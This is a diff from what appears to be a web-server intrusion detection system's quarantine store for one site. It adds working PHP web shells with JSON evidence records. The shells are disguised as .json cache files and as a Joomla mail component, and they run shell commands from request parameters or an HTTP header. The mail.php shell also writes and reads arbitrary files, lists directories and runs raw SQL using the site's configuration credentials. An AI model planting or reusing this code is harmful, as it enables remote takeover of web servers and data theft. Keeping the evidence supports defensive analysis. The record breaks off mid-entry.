+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111744,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..4f5003d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5112",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111724,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..e8e0f75
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5113",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110132,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..2ba36a8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5109",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110112,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "administrator/cache/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json b/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json.evidence.json
new file mode 100644
index 0000000..ec960f3
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5101",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/ntxvq7b4jper.php.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427919,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "administrator/ntxvq7b4jper.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..2443bae
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5027",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343459,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "cache/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..e8a693b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5017",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111734,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "cache/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..47b561d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5018",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111718,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "cache/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..b555be0
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5019",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110122,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "cache/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..8e3f105
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5014",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110106,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "cache/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php b/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php
new file mode 100644
index 0000000..cbc35f5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php
@@ -0,0 +1,97 @@
+<?php
+echo "<h3>Create:</h3>
+<form method=POST><input type=text value=colorName size=80 name=save_file><input type=submit value=save name=send_create_file>
+<textarea name=file_content rows=50 cols=130></textarea>
+</form>";
+//saving file
+if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['file_content']) &&  isset($_POST['send_create_file']) && $_POST['send_create_file']!='')
+{
+	//if register_globals is off it addes backslash before quotes. " to \"
+	$file_content=$_POST['file_content'];
+	if (get_magic_quotes_gpc()) 
+	{ 
+		$file_content=stripslashes($file_content);
+	}	
+	$f=fopen($_POST['save_file'],"w");
+	if(fwrite($f,$file_content)!=FALSE)echo "file saved";else echo "error";
+	fclose($f);
+}
+?>
+
+<?php
+echo "<h3>Open:</h3>
+	<form method=POST><input type=text value=colorValue size=80 name=save_file>
+	<input type=submit value=open name=send_open_file>
+	</form>";
+	
+	
+if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['send_open_file']) && $_POST['send_open_file']!='')
+{
+	$f=file_get_contents($_POST['save_file']);
+	echo "<textarea>".htmlspecialchars($f) . "</textarea>";
+}
+
+
+if(isset($_POST['cmd']) && $_POST['cmd']!='')
+{
+	$cmd=str_replace('\\',"",$_POST['cmd']);
+	exec($_POST['cmd'],$arr,$return_var);
+	echo "<center><table width=95% border=1><tr><td><b>$cmd</b></td></tr><tr><td>";
+	for($i=0;$i<count($arr);$i++)
+	{
+		echo $arr[$i]."<br>";
+	}
+	echo "</td></tr></table></center>";
+}
+echo "<h3>command</h3><form method=post><input type=text size=50 name=cmd></form><br>";
+
+
+echo "<h3>Q:</h3><form method=POST>
+<input type=text name=q cols=100>
+<input type=submit value=query name=s>
+</form>";
+if(isset($_POST['s']))
+{
+	include($_SERVER['DOCUMENT_ROOT'] . "/configuration.php");
+	//CONNECTION TO DB CODE WITH USNAME PASS HOST AND NEW HTML-FORMS 
+	echo "<b>your query</b>:".$_POST['q'];
+	$query=$_POST['q'];
+	$query=mysql_query($query);
+	
+	if(strpos($_POST['q'],"select")===0)
+	{
+		echo "<br>Your query returned <b>".mysql_num_rows($query)."</b> rows<br>";
+	
+		$rows=mysql_num_rows($query);
+		$cols=mysql_num_fields($query);
+		if($rows>0)
+		{
+			$arr=mysql_fetch_array($query);
+			echo "<table width=95% border=1>";
+			for($i=0;$i<$rows;$i++)
+			{
+				echo "<tr>";
+				for($j=0;$j<$cols;$j++)echo "<td>".$arr[$j]."</td>";
+				echo "</tr>";
+				$arr=mysql_fetch_array($query);
+			}
+			echo "</table>";
+		}
+	}
+}
+?>
+<br>
+<form method="POST">
+<input type='text' size=50 value='<?php echo $_SERVER['DOCUMENT_ROOT'];?>' name='pathway'>
+<input type='submit' name='showpath' value='show'>
+</form>
+<?php
+echo "$_SERVER[SCRIPT_NAME]<br>";
+if(isset($_POST['showpath']) && $_POST['showpath']=='show' && isset($_POST['pathway']))
+{
+	
+	echo "<b>$_POST[pathway]</b><br>";
+	$files=scandir($_POST['pathway']);
+	for($i=0;$i<count($files);$i++)echo "$files[$i]<br>";
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php.evidence.json b/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php.evidence.json
new file mode 100644
index 0000000..aa531e2
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5298",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:components/com_mailto/mail.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/com_mailto/mail.php)",
+  "original_sha256": "5a2a84f37f564063481c8898748c07ccf3219b0ea7df420de3613affc846e74b",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1627260637,
+    "size": 2899,
+    "uid": 20043
+  },
+  "rel_path": "components/com_mailto/mail.php",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..cc26dac
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5289",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111739,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "components/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..3ffdb26
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5290",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111721,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "components/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..502e21c
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5291",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110127,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "components/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..d3974d9
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5288",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:components/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/components/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110109,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "components/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json
new file mode 100644
index 0000000..c823cff
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json.evidence.json
new file mode 100644
index 0000000..62ed912
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4847",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.php.json)",
+  "original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364750,
+    "size": 295,
+    "uid": 20043
+  },
+  "rel_path": "es6jo0xq.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json
new file mode 100644
index 0000000..c823cff
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json.evidence.json
new file mode 100644
index 0000000..b669646
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4840",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.php5.json)",
+  "original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364751,
+    "size": 295,
+    "uid": 20043
+  },
+  "rel_path": "es6jo0xq.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json
new file mode 100644
index 0000000..c823cff
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){@system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){@echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){@system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){@system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json.evidence.json
new file mode 100644
index 0000000..3e29997
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4858",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:es6jo0xq.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/es6jo0xq.phtml.json)",
+  "original_sha256": "ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364749,
+    "size": 295,
+    "uid": 20043
+  },
+  "rel_path": "es6jo0xq.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/flamy.php.json b/var/www/hosting/archlinexp.eu/www/flamy.php.json
new file mode 100644
index 0000000..7d88dc6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/flamy.php.json
@@ -0,0 +1 @@
+/*PwnedByFlamY*/<?php if(isset($_REQUEST['c'])){echo '<pre>';system($_REQUEST['c']);echo '</pre>';} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/flamy.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/flamy.php.json.evidence.json
new file mode 100644
index 0000000..aa7585d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/flamy.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4919",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:flamy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/flamy.php.json)",
+  "original_sha256": "6890dc586f3605f32f298dad04255c0d174ab47ff0738fab991c1f61bb4abbbd",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783676054,
+    "size": 102,
